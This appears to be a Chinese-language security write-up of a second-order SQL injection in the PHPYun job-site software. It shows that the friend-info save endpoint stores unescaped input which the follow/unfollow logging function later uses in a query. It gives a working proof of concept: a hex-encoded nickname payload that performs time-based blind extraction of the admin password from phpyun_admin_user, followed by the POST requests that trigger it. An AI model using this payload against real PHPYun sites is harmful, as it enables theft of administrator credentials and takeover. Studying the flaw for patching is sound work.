文件名: \app\controller\friend\index.class.php中 有这样一句
传入了整个post,我们跟进SaveFriendInfo看看.
文件名: \app\model\friend.model.php
文件名: \app\public\action.class.php FormatValues函数如下
寻找二次注入中...寻找到了。美中不足的地方就是只能延迟注入。
文件:\app\controller\ask\friend.class.php
这个功能是关注功能..
ID是对方的uid .可以自己注册 2个账号来操作。
我们在来分析member_log函数.
文件 :app\public\action.class.php
看到这里我笑了..一般带DB_开头查询函数并没有进行转义操作. 可以造成注入.
不管是取关还是加关都会造成二次注入.
接下来就是poc演示了.
先注册2个账号,A和B.
注:uid可以cookie中查询得到。
先登录账号A:
http://127.0.0.1:8081/php/phpyun/friend/c_saveinfo.html
post提交
submitBtn=1&nickname=0x272c69703d28534c454550284d4944282853454c4543542050415353574f52442046524f4d2070687079756e5f61646d696e5f75736572204c494d49542031292c312c31293d273427292923
nickname的数据是',ip=(SLEEP(MID((SELECT PASSWORD FROM phpyun_admin_user LIMIT 1),1,1)='4'))# 我们需要hex下,才不会被加上单引号;
可以看到数据里已经更改掉数据了。
现在我们来登录第二个账号B
http://127.0.0.1:8081/php/phpyun/ask/c_friend-a_atnuser.html
Post提交
id=1
Id是你要关注的账号id也就是A的uid。(uid可以cookie中查询得到。)
为了直观显示为就把sql语句输出了。
看见没..成功执行了语句.密码第一位是4就延迟一秒。
利用脚本我就不给出了,几个post请求判断的事。